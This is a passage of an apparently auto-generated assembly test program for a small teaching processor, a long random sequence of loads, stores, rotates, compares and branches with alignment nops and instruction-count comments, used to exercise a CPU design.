nop // to align meminst icount 965
stu r6, r0, -12 // icount 966
nop // to align meminst icount 967
ld r5, r1, -14 // icount 968
nop // to align meminst icount 969
ld r4, r1, -12 // icount 970
nop // to align meminst icount 971
st r2, r1, 14 // icount 972
nop // to align meminst icount 973
ld r4, r0, -4 // icount 974
nop // to align meminst icount 975
st r6, r0, 4 // icount 976
nop // to align meminst icount 977
ld r4, r1, -8 // icount 978
nop // to align meminst icount 979
st r3, r0, 12 // icount 980
nop // to align meminst icount 981
ld r5, r0, 2 // icount 982
nop // to align meminst icount 983
st r4, r0, 14 // icount 984
nop // to align meminst icount 985
ld r3, r0, 0 // icount 986
nop // to align meminst icount 987
stu r2, r0, -2 // icount 988
nop // to align meminst icount 989
ld r2, r0, -6 // icount 990
nop // to align meminst icount 991
ld r3, r0, 12 // icount 992
nop // to align meminst icount 993
ld r2, r0, 8 // icount 994
nop // to align meminst icount 995
ld r4, r1, -2 // icount 996
nop // to align meminst icount 997
ld r4, r0, -4 // icount 998
nop // to align meminst icount 999
stu r5, r1, 6 // icount 1000
nop // to align meminst icount 1001
stu r5, r0, -6 // icount 1002
nop // to align meminst icount 1003
ld r2, r1, 12 // icount 1004
nop // to align meminst icount 1005
stu r3, r1, 8 // icount 1006
nop // to align meminst icount 1007
ld r2, r1, 0 // icount 1008
nop // to align meminst icount 1009
stu r3, r0, 12 // icount 1010
nop // to align meminst icount 1011
stu r2, r1, 4 // icount 1012
nop // to align meminst icount 1013
ld r3, r0, 10 // icount 1014
nop // to align meminst icount 1015
ld r6, r0, 14 // icount 1016
nop // to align meminst icount 1017
stu r4, r0, 12 // icount 1018
nop // to align meminst icount 1019
stu r6, r0, 14 // icount 1020
nop // to align meminst icount 1021
ld r6, r0, 10 // icount 1022
nop // to align meminst icount 1023
st r4, r1, -8 // icount 1024
nop // to align meminst icount 1025
stu r3, r1, 2 // icount 1026
nop // to align meminst icount 1027
stu r6, r0, 6 // icount 1028
nop // to align meminst icount 1029
ld r3, r1, -16 // icount 1030
nop // to align meminst icount 1031
ld r6, r0, -6 // icount 1032
nop // to align meminst icount 1033
ld r6, r0, 8 // icount 1034
nop // to align meminst icount 1035
ld r3, r1, 12 // icount 1036
nop // to align meminst icount 1037
ld r3, r1, 10 // icount 1038
nop // to align meminst icount 1039
stu r6, r1, 6 // icount 1040
nop // to align meminst icount 1041
ld r2, r0, 6 // icount 1042
nop // to align meminst icount 1043
ld r2, r1, 2 // icount 1044
nop // to align meminst icount 1045
st r6, r0, 4 // icount 1046
nop // to align meminst icount 1047
st r3, r0, 6 // icount 1048
nop // to align meminst icount 1049
ld r3, r0, 10 // icount 1050
nop // to align meminst icount 1051
stu r4, r1, 12 // icount 1052
nop // to align meminst icount 1053
st r3, r1, 2 // icount 1054
nop // to align meminst icount 1055
st r3, r0, -16 // icount 1056
nop // to align meminst icount 1057
ld r4, r0, -2 // icount 1058
nop // to align meminst icount 1059
ld r6, r0, -8 // icount 1060
nop // to align meminst icount 1061
ld r4, r0, -14 // icount 1062
nop // to align meminst icount 1063
ld r2, r0, 10 // icount 1064
nop // to align meminst icount 1065
stu r3, r1, 8 // icount 1066
nop // to align meminst icount 1067
ld r2, r0, -12 // icount 1068
nop // to align meminst icount 1069
st r5, r1, 6 // icount 1070
nop // to align meminst icount 1071
ld r4, r0, 8 // icount 1072
ld r3, r0, 12 // icount 1073
rori r7, r5, 3 // icount 1074
nop // to align meminst icount 1075
ld r3, r1, -10 // icount 1076
nop // to align meminst icount 1077
ld r2, r0, 10 // icount 1078
nop // to align meminst icount 1079
stu r6, r1, -14 // icount 1080
nop // to align meminst icount 1081
stu r3, r0, 10 // icount 1082
nop // to align meminst icount 1083
st r4, r0, -10 // icount 1084
nop // to align meminst icount 1085
stu r6, r0, 12 // icount 1086
nop // to align meminst icount 1087
st r2, r1, 2 // icount 1088
nop // to align meminst icount 1089
st r6, r1, -6 // icount 1090
nop // to align meminst icount 1091
st r6, r1, -4 // icount 1092
nop // to align meminst icount 1093
ld r6, r0, 14 // icount 1094
nop // to align meminst icount 1095
stu r2, r1, -6 // icount 1096
nop // to align meminst icount 1097
st r5, r0, -12 // icount 1098
st r6, r0, 12 // icount 1099
lbi r2, 0 // icount 1100
lbi r7, 0 // icount 1101
nop // to align branch icount 1102
bgez r5, 20 // icount 1103
slt r2, r3, r3 // icount 1104
slt r5, r3, r5 // icount 1105
rori r5, r6, 6 // icount 1106
ror r3, r3, r6 // icount 1107
lbi r7, 8 // icount 1108
sle r4, r7, r1 // icount 1109
xor r3, r1, r5 // icount 1110
subi r5, r4, 13 // icount 1111
roli r4, r5, 8 // icount 1112
subi r4, r2, 14 // icount 1113
srl r4, r2, r2 // icount 1114
andn r6, r5, r7 // icount 1115
slt r3, r3, r1 // icount 1116
slli r2, r5, 12 // icount 1117
rori r4, r2, 10 // icount 1118
sub r2, r2, r0 // icount 1119
seq r3, r4, r2 // icount 1120
sle r4, r5, r6 // icount 1121
sub r6, r5, r4 // icount 1122
rol r7, r1, r0 // icount 1123
addi r0, r0, 2 // change base addr // icount 1124
nop // to align meminst icount 1125
ld r3, r1, 10 // icount 1126
nop // to align meminst icount 1127
ld r6, r0, 0 // icount 1128
nop // to align meminst icount 1129
stu r3, r0, -2 // icount 1130
stu r4, r0, -2 // icount 1131
rol r3, r2, r7 // icount 1132
nop // to align meminst icount 1133
ld r4, r0, 6 // icount 1134
st r6, r0, -12 // icount 1135
lbi r5, 0 // icount 1136
lbi r5, 0 // icount 1137
nop // to align branch icount 1138
beqz r5, 24 // icount 1139
andni r6, r6, 1 // icount 1140
st r3, r6, 10 // icount 1141
slt r7, r4, r0 // icount 1142
sub r5, r6, r2 // icount 1143
sub r2, r5, r0 // icount 1144
rol r5, r0, r4 // icount 1145
srli r2, r1, 15 // icount 1146
seq r4, r7, r4 // icount 1147
andni r2, r2, 1 // icount 1148
stu r7, r2, 4 // icount 1149
slli r3, r4, 9 // icount 1150
srl r4, r7, r6 // icount 1151
andni r5, r5, 1 // icount 1152
st r6, r5, 4 // icount 1153
addi r4, r0, 15 // icount 1154
rol r4, r7, r2 // icount 1155
andni r5, r5, 1 // icount 1156
stu r2, r5, 10 // icount 1157
add r4, r6, r4 // icount 1158
slli r5, r0, 13 // icount 1159
andni r7, r7, 1 // icount 1160
ld r5, r7, 12 // icount 1161
sco r6, r2, r1 // icount 1162
sle r2, r6, r1 // icount 1163
slt r4, r6, r6 // icount 1164
srli r5, r7, 1 // icount 1165
seq r2, r4, r0 // icount 1166
roli r7, r3, 8 // icount 1167
seq r5, r3, r4 // icount 1168
nop // to align meminst icount 1169
ld r3, r1, 14 // icount 1170
nop // to align meminst icount 1171
st r5, r0, 4 // icount 1172
nop // to align meminst icount 1173
st r2, r0, -2 // icount 1174
nop // to align meminst icount 1175
ld r6, r0, 12 // icount 1176
nop // to align meminst icount 1177
ld r2, r0, -16 // icount 1178
nop // to align meminst icount 1179
st r3, r0, -16 // icount 1180
nop // to align meminst icount 1181
st r6, r1, 0 // icount 1182
nop // to align meminst icount 1183
ld r3, r1, -4 // icount 1184
nop // to align meminst icount 1185
ld r6, r0, 8 // icount 1186
nop // to align meminst icount 1187
st r2, r1, -10 // icount 1188
nop // to align meminst icount 1189
ld r4, r0, -2 // icount 1190
nop // to align meminst icount 1191
stu r6, r0, 10 // icount 1192
nop // to align meminst icount 1193
stu r4, r1, -2 // icount 1194
nop // to align meminst icount 1195
st r5, r0, -4 // icount 1196
nop // to align meminst icount 1197
stu r4, r1, -14 // icount 1198
nop // to align meminst icount 1199
st r4, r1, 6 // icount 1200
nop // to align meminst icount 1201
stu r2, r1, 4 // icount 1202
nop // to align meminst icount 1203
stu r4, r0, -8 // icount 1204
nop // to align meminst icount 1205
st r2, r1, -10 // icount 1206
nop // to align meminst icount 1207
ld r2, r0, 8 // icount 1208
nop // to align meminst icount 1209
stu r3, r0, 0 // icount 1210
nop // to align meminst icount 1211
ld r2, r1, -10 // icount 1212
nop // to align meminst icount 1213
ld r6, r1, 0 // icount 1214
nop // to align meminst icount 1215
st r6, r0, -12 // icount 1216
nop // to align meminst icount 1217
ld r5, r1, -6 // icount 1218
nop // to align meminst icount 1219
ld r4, r1, -6 // icount 1220
nop // to align meminst icount 1221
ld r5, r1, -8 // icount 1222
nop // to align meminst icount 1223
st r4, r1, -16 // icount 1224
nop // to align meminst icount 1225
st r5, r1, 0 // icount 1226
nop // to align meminst icount 1227
st r6, r0, -6 // icount 1228
nop // to align meminst icount 1229
stu r6, r0, 6 // icount 1230
nop // to align meminst icount 1231
st r6, r0, -10 // icount 1232
nop // to align meminst icount 1233
stu r4, r1, 2 // icount 1234
nop // to align meminst icount 1235
ld r2, r1, 8 // icount 1236
nop // to align meminst icount 1237
st r4, r1, -12 // icount 1238
nop // to align meminst icount 1239
ld r5, r1, -14 // icount 1240
nop // to align meminst icount 1241
ld r4, r0, 12 // icount 1242
nop // to align meminst icount 1243
stu r4, r1, -10 // icount 1244
nop // to align meminst icount 1245
stu r6, r0, -14 // icount 1246
nop // to align meminst icount 1247
ld r3, r0, -10 // icount 1248
nop // to align meminst icount 1249
stu r4, r1, -10 // icount 1250
nop // to align meminst icount 1251
ld r6, r0, 8 // icount 1252
nop // to align meminst icount 1253
ld r4, r1, -8 // icount 1254
nop // to align meminst icount 1255
st r2, r1, -16 // icount 1256
nop // to align meminst icount 1257
st r3, r1, -10 // icount 1258
nop // to align meminst icount 1259
st r6, r0, 4 // icount 1260
nop // to align meminst icount 1261
ld r2, r1, -8 // icount 1262
nop // to align meminst icount 1263
ld r6, r1, -8 // icount 1264
nop // to align meminst icount 1265
ld r4, r1, 12 // icount 1266
nop // to align meminst icount 1267
st r6, r1, 14 // icount 1268
nop // to align meminst icount 1269
ld r6, r0, 14 // icount 1270
nop // to align meminst icount 1271
st r5, r1, 0 // icount 1272
nop // to align meminst icount 1273
ld r2, r0, -14 // icount 1274
nop // to align meminst icount 1275
stu r4, r0, -6 // icount 1276
nop // to align meminst icount 1277
ld r4, r0, 14 // icount 1278
nop // to align meminst icount 1279
stu r2, r1, -12 // icount 1280
nop // to align meminst icount 1281
ld r6, r1, 10 // icount 1282
nop // to align meminst icount 1283
ld r3, r0, 12 // icount 1284
nop // to align meminst icount 1285
ld r4, r0, 2 // icount 1286
nop // to align meminst icount 1287
st r3, r1, -16 // icount 1288
nop // to align meminst icount 1289
stu r6, r1, -14 // icount 1290
nop // to align meminst icount 1291
ld r5, r1, 4 // icount 1292
nop // to align meminst icount 1293
st r2, r0, -4 // icount 1294
nop // to align meminst icount 1295
st r4, r1, 10 // icount 1296
nop // to align meminst icount 1297
ld r6, r1, -8 // icount 1298
nop // to align meminst icount 1299
ld r6, r1, -2 // icount 1300
nop // to align meminst icount 1301
ld r5, r1, 2 // icount 1302
nop // to align meminst icount 1303
ld r5, r1, -8 // icount 1304
nop // to align meminst icount 1305
ld r2, r0, 6 // icount 1306
nop // to align meminst icount 1307
ld r4, r0, 14 // icount 1308
nop // to align meminst icount 1309
ld r4, r0, 4 // icount 1310
nop // to align meminst icount 1311
ld r3, r0, 14 // icount 1312
nop // to align meminst icount 1313
ld r6, r0, -2 // icount 1314
nop // to align meminst icount 1315
ld r2, r1, -10 // icount 1316
nop // to align meminst icount 1317
ld r3, r0, 2 // icount 1318
nop // to align meminst icount 1319
stu r5, r1, 0 // icount 1320
nop // to align meminst icount 1321
st r4, r1, 6 // icount 1322
nop // to align meminst icount 1323
ld r3, r1, -4 // icount 1324
nop // to align meminst icount 1325
st r4, r0, -10 // icount 1326
nop // to align meminst icount 1327
st r2, r1, -10 // icount 1328
nop // to align meminst icount 1329
st r6, r1, -12 // icount 1330
nop // to align meminst icount 1331
stu r2, r0, 14 // icount 1332
st r5, r0, 14 // icount 1333
lbi r4, 0 // icount 1334
lbi r6, 0 // icount 1335
nop // to align branch icount 1336
bnez r6, 8 // icount 1337
add r4, r1, r3 // icount 1338
srli r4, r7, 7 // icount 1339
sub r4, r1, r4 // icount 1340
xori r3, r2, 6 // icount 1341
andn r5, r5, r3 // icount 1342
rori r6, r5, 1 // icount 1343
rol r5, r6, r3 // icount 1344
nop // to align meminst icount 1345
rol r4, r5, r7 // icount 1346
nop // to align meminst icount 1347
st r5, r1, 10 // icount 1348
stu r2, r0, -8 // icount 1349
lbi r7, 0 // icount 1350
lbi r2, 0 // icount 1351
nop // to align branch icount 1352
bnez r1, 28 // icount 1353
add r4, r6, r3 // icount 1354
nop // to align meminst icount 1355
andni r7, r7, 1 // icount 1356
stu r7, r7, 0 // icount 1357
xori r6, r3, 6 // icount 1358
slbi r6, 9 // icount 1359
addi r4, r2, 8 // icount 1360
subi r2, r4, 9 // icount 1361
sco r5, r1, r4 // icount 1362
xori r5, r2, 9 // icount 1363
sll r6, r0, r3 // icount 1364
add r6, r0, r3 // icount 1365
roli r6, r0, 4 // icount 1366
subi r7, r7, 11 // icount 1367
sle r6, r6, r5 // icount 1368
nop // to align meminst icount 1369
andni r7, r7, 1 // icount 1370
stu r5, r7, 14 // icount 1371
andn r3, r6, r5 // icount 1372
add r5, r3, r7 // icount 1373
rori r7, r1, 14 // icount 1374
roli r6, r4, 9 // icount 1375
ror r7, r7, r7 // icount 1376
sle r4, r4, r1 // icount 1377
xor r2, r3, r0 // icount 1378
sll r6, r3, r7 // icount 1379
subi r7, r4, 1 // icount 1380
sub r5, r6, r0 // icount 1381
slt r2, r2, r3 // icount 1382
addi r2, r7, 2 // icount 1383
xor r3, r3, r0 // icount 1384
nop // to align meminst icount 1385
sco r5, r1, r1 // icount 1386
nop // to align meminst icount 1387
ld r4, r1, -6 // icount 1388
nop // to align meminst icount 1389
ld r6, r1, 10 // icount 1390
nop // to align meminst icount 1391
ld r4, r1, -14 // icount 1392
nop // to align meminst icount 1393
st r3, r1, 6 // icount 1394
nop // to align meminst icount 1395
stu r3, r0, -4 // icount 1396
nop // to align meminst icount 1397
st r5, r0, 14 // icount 1398
nop // to align meminst icount 1399
stu r2, r0, 10 // icount 1400
nop // to align meminst icount 1401
ld r2, r1, 6 // icount 1402
nop // to align meminst icount 1403
ld r4, r1, -8 // icount 1404
nop // to align meminst icount 1405
ld r5, r0, 10 // icount 1406
nop // to align meminst icount 1407
ld r6, r0, -2 // icount 1408
nop // to align meminst icount 1409
stu r4, r0, 4 // icount 1410
nop // to align meminst icount 1411
stu r3, r0, -6 // icount 1412
nop // to align meminst icount 1413
ld r5, r1, 2 // icount 1414
nop // to align meminst icount 1415
stu r2, r1, -12 // icount 1416
nop // to align meminst icount 1417
stu r3, r1, -12 // icount 1418
nop // to align meminst icount 1419
stu r4, r0, 10 // icount 1420
nop // to align meminst icount 1421
stu r5, r0, -8 // icount 1422
nop // to align meminst icount 1423
stu r6, r1, 12 // icount 1424
nop // to align meminst icount 1425
stu r6, r0, 10 // icount 1426
nop // to align meminst icount 1427
stu r6, r0, 6 // icount 1428
nop // to align meminst icount 1429
ld r5, r0, -8 // icount 1430
nop // to align meminst icount 1431
stu r6, r1, -6 // icount 1432
nop // to align meminst icount 1433
stu r4, r0, 10 // icount 1434
nop // to align meminst icount 1435
ld r3, r1, 12 // icount 1436
nop // to align meminst icount 1437
stu r6, r0, 14 // icount 1438
nop // to align meminst icount 1439
ld r5, r0, -16 // icount 1440
nop // to align meminst icount 1441
st r2, r1, -6 // icount 1442
nop // to align meminst icount 1443
stu r2, r1, 12 // icount 1444
nop // to align meminst icount 1445
ld r6, r1, -4 // icount 1446
nop // to align meminst icount 1447
ld r6, r0, -12 // icount 1448
nop // to align meminst icount 1449
st r3, r1, 0 // icount 1450
nop // to align meminst icount 1451
stu r3, r0, 10 // icount 1452
nop // to align meminst icount 1453
ld r2, r1, 0 // icount 1454
nop // to align meminst icount 1455
ld r4, r1, -14 // icount 1456
nop // to align meminst icount 1457
ld r6, r1, -6 // icount 1458
nop // to align meminst icount 1459
ld r2, r1, 4 // icount 1460
nop // to align meminst icount 1461
ld r2, r0, -8 // icount 1462
nop // to align meminst icount 1463
ld r5, r1, -12 // icount 1464
nop // to align meminst icount 1465
ld r5, r0, 10 // icount 1466
nop // to align meminst icount 1467
ld r3, r0, 0 // icount 1468
nop // to align meminst icount 1469
stu r2, r1, -14 // icount 1470
nop // to align meminst icount 1471
stu r6, r0, 12 // icount 1472
nop // to align meminst icount 1473
stu r4, r0, -2 // icount 1474
nop // to align meminst icount 1475
ld r2, r0, 4 // icount 1476
nop // to align meminst icount 1477
ld r2, r0, 4 // icount 1478
nop // to align meminst icount 1479
stu r5, r0, 0 // icount 1480
nop // to align meminst icount 1481
ld r3, r1, -2 // icount 1482
nop // to align meminst icount 1483
stu r2, r1, 2 // icount 1484
nop // to align meminst icount 1485
stu r4, r0, 14 // icount 1486
nop // to align meminst icount 1487
stu r6, r0, 8 // icount 1488
st r6, r1, 12 // icount 1489
lbi r2, 0 // icount 1490
lbi r6, 0 // icount 1491
nop // to align branch icount 1492
bltz r4, 28 // icount 1493
andni r2, r2, 1 // icount 1494
st r6, r2, 8 // icount 1495
xori r4, r6, 13 // icount 1496
subi r7, r1, 6 // icount 1497
slt r3, r0, r5 // icount 1498
andn r2, r1, r5 // icount 1499
slt r6, r6, r4 // icount 1500
srli r2, r0, 12 // icount 1501
andni r4, r7, 12 // icount 1502
slt r4, r4, r4 // icount 1503
ror r2, r1, r1 // icount 1504
slt r6, r2, r6 // icount 1505
lbi r3, 15 // icount 1506
xor r7, r0, r3 // icount 1507
andni r6, r6, 1 // icount 1508
ld r7, r6, 12 // icount 1509
rori r6, r0, 9 // icount 1510
rori r2, r7, 8 // icount 1511
sll r5, r7, r7 // icount 1512
ror r2, r7, r3 // icount 1513
andni r3, r3, 1 // icount 1514
stu r4, r3, 10 // icount 1515
subi r6, r0, 13 // icount 1516
slt r2, r0, r1 // icount 1517
andni r0, r0, 1 // icount 1518
ld r3, r0, 14 // icount 1519
andni r2, r5, 5 // icount 1520
srl r7, r5, r2 // icount 1521
xor r2, r0, r6 // icount 1522
slli r2, r0, 5 // icount 1523
sco r3, r2, r2 // icount 1524
nop // to align meminst icount 1525
rol r4, r3, r1 // icount 1526
nop // to align meminst icount 1527
stu r5, r1, 0 // icount 1528
nop // to align meminst icount 1529
ld r6, r0, 8 // icount 1530
nop // to align meminst icount 1531
ld r2, r1, -12 // icount 1532
nop // to align meminst icount 1533
stu r2, r1, 14 // icount 1534
nop // to align meminst icount 1535
st r2, r1, 10 // icount 1536
nop // to align meminst icount 1537
stu r2, r1, 0 // icount 1538
nop // to align meminst icount 1539
ld r6, r0, 4 // icount 1540
nop // to align meminst icount 1541
stu r4, r0, -6 // icount 1542
nop // to align meminst icount 1543
ld r2, r0, -10 // icount 1544
nop // to align meminst icount 1545
stu r3, r0, 12 // icount 1546
nop // to align meminst icount 1547
st r3, r0, -16 // icount 1548
nop // to align meminst icount 1549
ld r4, r1, -8 // icount 1550
nop // to align meminst icount 1551
stu r4, r0, -2 // icount 1552
st r3, r0, -14 // icount 1553
sub r7, r6, r3 // icount 1554
nop // to align meminst icount 1555
st r5, r1, -10 // icount 1556
nop // to align meminst icount 1557
st r5, r1, -10 // icount 1558
nop // to align meminst icount 1559
ld r2, r0, -14 // icount 1560
nop // to align meminst icount 1561
st r4, r1, 2 // icount 1562
nop // to align meminst icount 1563
ld r5, r0, -4 // icount 1564
nop // to align meminst icount 1565
ld r4, r1, -2 // icount 1566
nop // to align meminst icount 1567
stu r4, r1, -10 // icount 1568
nop // to align meminst icount 1569
st r6, r1, 0 // icount 1570
nop // to align meminst icount 1571
ld r3, r1, -10 // icount 1572
nop // to align meminst icount 1573
st r5, r0, 14 // icount 1574
nop // to align meminst icount 1575
ld r4, r0, 6 // icount 1576
nop // to align meminst icount 1577
ld r2, r0, -14 // icount 1578
nop // to align meminst icount 1579
st r3, r0, 2 // icount 1580
nop // to align meminst icount 1581
ld r4, r0, 4 // icount 1582
nop // to align meminst icount 1583
ld r2, r1, 4 // icount 1584
nop // to align meminst icount 1585
st r5, r0, 2 // icount 1586
nop // to align meminst icount 1587
ld r4, r1, -16 // icount 1588
nop // to align meminst icount 1589
st r4, r0, 10 // icount 1590
nop // to align meminst icount 1591
ld r2, r0, -6 // icount 1592
nop // to align meminst icount 1593
stu r2, r1, -6 // icount 1594
nop // to align meminst icount 1595
ld r4, r1, -6 // icount 1596
nop // to align meminst icount 1597
ld r6, r0, 6 // icount 1598
nop // to align meminst icount 1599
ld r6, r0, 4 // icount 1600
nop // to align meminst icount 1601
st r6, r1, -2 // icount 1602
nop // to align meminst icount 1603
stu r2, r1, -2 // icount 1604
nop // to align meminst icount 1605
stu r2, r0, 10 // icount 1606
nop // to align meminst icount 1607
st r3, r0, -14 // icount 1608
st r4, r1, 10 // icount 1609
addi r1, r1, -12 // change base addr // icount 1610
nop // to align meminst icount 1611
stu r2, r1, -16 // icount 1612
nop // to align meminst icount 1613
stu r6, r1, 0 // icount 1614
nop // to align meminst icount 1615
ld r5, r1, 6 // icount 1616
nop // to align meminst icount 1617
stu r4, r1, -4 // icount 1618
nop // to align meminst icount 1619
ld r3, r0, 4 // icount 1620
nop // to align meminst icount 1621
ld r5, r1, 8 // icount 1622
nop // to align meminst icount 1623
ld r6, r1, 12 // icount 1624
nop // to align meminst icount 1625
ld r4, r0, 2 // icount 1626
nop // to align meminst icount 1627
ld r3, r1, 14 // icount 1628
nop // to align meminst icount 1629
stu r2, r1, -8 // icount 1630
nop // to align meminst icount 1631
ld r3, r1, -10 // icount 1632
nop // to align meminst icount 1633
stu r6, r0, 2 // icount 1634
nop // to align meminst icount 1635
st r3, r1, -10 // icount 1636
nop // to align meminst icount 1637
st r5, r1, 8 // icount 1638
nop // to align meminst icount 1639
ld r2, r0, 14 // icount 1640
nop // to align meminst icount 1641
stu r6, r1, 12 // icount 1642
nop // to align meminst icount 1643
ld r5, r0, -8 // icount 1644
nop // to align meminst icount 1645
stu r4, r1, -12 // icount 1646
nop // to align meminst icount 1647
ld r2, r0, -4 // icount 1648
nop // to align meminst icount 1649
ld r4, r0, -6 // icount 1650
nop // to align meminst icount 1651
stu r2, r1, -6 // icount 1652
nop // to align meminst icount 1653
ld r6, r1, 0 // icount 1654
nop // to align meminst icount 1655
ld r6, r1, -14 // icount 1656
nop // to align meminst icount 1657
stu r6, r1, -2 // icount 1658
nop // to align meminst icount 1659
stu r4, r1, -10 // icount 1660
nop // to align meminst icount 1661
ld r4, r0, 12 // icount 1662
nop // to align meminst icount 1663
ld r5, r1, 8 // icount 1664
nop // to align meminst icount 1665
ld r4, r0, 12 // icount 1666
nop // to align meminst icount 1667
stu r3, r0, 0 // icount 1668
nop // to align meminst icount 1669
stu r4, r1, 10 // icount 1670
nop // to align meminst icount 1671
ld r2, r0, -14 // icount 1672
nop // to align meminst icount 1673
stu r2, r0, -12 // icount 1674
nop // to align meminst icount 1675
st r5, r0, -14 // icount 1676
nop // to align meminst icount 1677
stu r4, r1, -6 // icount 1678
nop // to align meminst icount 1679
ld r2, r1, -12 // icount 1680
nop // to align meminst icount 1681
st r3, r1, -6 // icount 1682
nop // to align meminst icount 1683
stu r4, r0, 0 // icount 1684
nop // to align meminst icount 1685
ld r4, r0, -4 // icount 1686
nop // to align meminst icount 1687
ld r4, r1, 14 // icount 1688
nop // to align meminst icount 1689
ld r6, r1, 10 // icount 1690
nop // to align meminst icount 1691
stu r4, r0, 2 // icount 1692
nop // to align meminst icount 1693
ld r2, r0, 8 // icount 1694
nop // to align meminst icount 1695
st r2, r1, 10 // icount 1696
nop // to align meminst icount 1697
ld r6, r0, -6 // icount 1698
nop // to align meminst icount 1699
ld r6, r1, -12 // icount 1700
nop // to align meminst icount 1701
ld r5, r1, -8 // icount 1702
nop // to align meminst icount 1703
ld r3, r1, 10 // icount 1704
ld r5, r1, -8 // icount 1705
lbi r4, 0 // icount 1706
lbi r4, 0 // icount 1707
nop // to align branch icount 1708
beqz r1, 20 // icount 1709
andni r3, r3, 1 // icount 1710
stu r7, r3, 14 // icount 1711
rol r6, r3, r2 // icount 1712
slbi r4, 7 // icount 1713
ror r3, r0, r4 // icount 1714
slt r5, r4, r4 // icount 1715
add r3, r7, r4 // icount 1716
srl r7, r6, r7 // icount 1717
sco r5, r7, r3 // icount 1718
add r6, r3, r7 // icount 1719
xori r6, r0, 5 // icount 1720
rori r4, r4, 7 // icount 1721
subi r5, r7, 5 // icount 1722
slbi r3, 14 // icount 1723
sub r4, r7, r0 // icount 1724
ror r6, r7, r4 // icount 1725
rol r6, r7, r5 // icount 1726
subi r7, r4, 5 // icount 1727
andni r7, r4, 13 // icount 1728
xori r4, r0, 13 // icount 1729
addi r6, r4, 11 // icount 1730
nop // to align meminst icount 1731
ld r4, r0, 0 // icount 1732
nop // to align meminst icount 1733
ld r3, r1, -16 // icount 1734
nop // to align meminst icount 1735
ld r6, r1, -10 // icount 1736
nop // to align meminst icount 1737
stu r2, r0, -14 // icount 1738
nop // to align meminst icount 1739
stu r6, r1, -12 // icount 1740
nop // to align meminst icount 1741
stu r4, r1, -2 // icount 1742
nop // to align meminst icount 1743
ld r4, r0, 8 // icount 1744
nop // to align meminst icount 1745
ld r5, r0, 6 // icount 1746
nop // to align meminst icount 1747
st r4, r0, -12 // icount 1748
nop // to align meminst icount 1749
st r5, r0, -2 // icount 1750
nop // to align meminst icount 1751
stu r4, r0, 8 // icount 1752
nop // to align meminst icount 1753
ld r2, r0, 6 // icount 1754
nop // to align meminst icount 1755
ld r3, r0, 12 // icount 1756
nop // to align meminst icount 1757
stu r5, r1, 12 // icount 1758
nop // to align meminst icount 1759
st r5, r1, 6 // icount 1760
nop // to align meminst icount 1761
stu r2, r1, 4 // icount 1762
nop // to align meminst icount 1763
ld r6, r1, -8 // icount 1764
nop // to align meminst icount 1765
stu r2, r1, -10 // icount 1766
nop // to align meminst icount 1767
ld r6, r0, -2 // icount 1768
nop // to align meminst icount 1769
ld r5, r0, 8 // icount 1770
nop // to align meminst icount 1771
stu r6, r1, 4 // icount 1772
nop // to align meminst icount 1773
ld r3, r0, 2 // icount 1774
nop // to align meminst icount 1775
st r5, r0, 12 // icount 1776
nop // to align meminst icount 1777
ld r4, r0, -16 // icount 1778
nop // to align meminst icount 1779
ld r3, r1, 0 // icount 1780
nop // to align meminst icount 1781
ld r5, r0, 2 // icount 1782
nop // to align meminst icount 1783
st r2, r0, 2 // icount 1784
nop // to align meminst icount 1785
ld r4, r1, -2 // icount 1786
nop // to align meminst icount 1787
stu r6, r0, -8 // icount 1788
nop // to align meminst icount 1789
stu r5, r0, -8 // icount 1790
nop // to align meminst icount 1791
st r6, r1, 6 // icount 1792
nop // to align meminst icount 1793
ld r3, r0, 10 // icount 1794
nop // to align meminst icount 1795
ld r4, r0, 12 // icount 1796
nop // to align meminst icount 1797
stu r2, r1, 12 // icount 1798
nop // to align meminst icount 1799
stu r3, r0, -10 // icount 1800
st r2, r0, -14 // icount 1801
srl r4, r6, r0 // icount 1802
nop // to align meminst icount 1803
st r3, r1, 4 // icount 1804
nop // to align meminst icount 1805
stu r4, r1, 12 // icount 1806
nop // to align meminst icount 1807
ld r5, r0, 0 // icount 1808
nop // to align meminst icount 1809
ld r2, r1, 12 // icount 1810
nop // to align meminst icount 1811
stu r4, r1, -10 // icount 1812
nop // to align meminst icount 1813
ld r3, r0, 4 // icount 1814
nop // to align meminst icount 1815
st r3, r0, -6 // icount 1816
nop // to align meminst icount 1817
ld r3, r1, -2 // icount 1818
nop // to align meminst icount 1819
ld r3, r0, -10 // icount 1820
nop // to align meminst icount 1821
ld r2, r0, -6 // icount 1822
nop // to align meminst icount 1823
st r2, r1, 0 // icount 1824
nop // to align meminst icount 1825
stu r2, r1, -6 // icount 1826
nop // to align meminst icount 1827
st r4, r0, 8 // icount 1828
nop // to align meminst icount 1829
st r6, r0, -4 // icount 1830
ld r6, r0, -4 // icount 1831
slli r5, r1, 8 // icount 1832
nop // to align meminst icount 1833
ld r3, r1, -10 // icount 1834
nop // to align meminst icount 1835
ld r6, r1, -4 // icount 1836
nop // to align meminst icount 1837
stu r5, r0, 14 // icount 1838
nop // to align meminst icount 1839
st r3, r1, -4 // icount 1840
nop // to align meminst icount 1841
ld r6, r1, -12 // icount 1842
nop // to align meminst icount 1843
ld r5, r0, -6 // icount 1844
nop // to align meminst icount 1845
st r5, r1, -6 // icount 1846
nop // to align meminst icount 1847
ld r6, r1, 8 // icount 1848
nop // to align meminst icount 1849
ld r2, r1, -8 // icount 1850
nop // to align meminst icount 1851
ld r3, r1, 2 // icount 1852
nop // to align meminst icount 1853
ld r5, r0, -12 // icount 1854
nop // to align meminst icount 1855
ld r4, r1, -16 // icount 1856
nop // to align meminst icount 1857
ld r6, r0, -16 // icount 1858
nop // to align meminst icount 1859
stu r6, r1, 14 // icount 1860
nop // to align meminst icount 1861
ld r4, r1, -14 // icount 1862
nop // to align meminst icount 1863
st r4, r0, -16 // icount 1864
nop // to align meminst icount 1865
ld r2, r1, -2 // icount 1866
nop // to align meminst icount 1867
ld r3, r0, 0 // icount 1868
nop // to align meminst icount 1869
ld r3, r0, 12 // icount 1870
nop // to align meminst icount 1871
stu r3, r0, -4 // icount 1872
nop // to align meminst icount 1873
stu r4, r1, -16 // icount 1874
st r2, r1, 4 // icount 1875
slbi r2, 5 // icount 1876
nop // to align meminst icount 1877
st r4, r1, 0 // icount 1878
stu r3, r0, 12 // icount 1879
srl r6, r3, r0 // icount 1880
lbi r2, 0 // icount 1881
lbi r2, 0 // icount 1882
beqz r3, 32 // icount 1883
ror r4, r2, r5 // icount 1884
xori r5, r2, 10 // icount 1885
sll r7, r5, r1 // icount 1886
add r4, r7, r7 // icount 1887
seq r7, r4, r4 // icount 1888
nop // to align meminst icount 1889
andni r7, r7, 1 // icount 1890
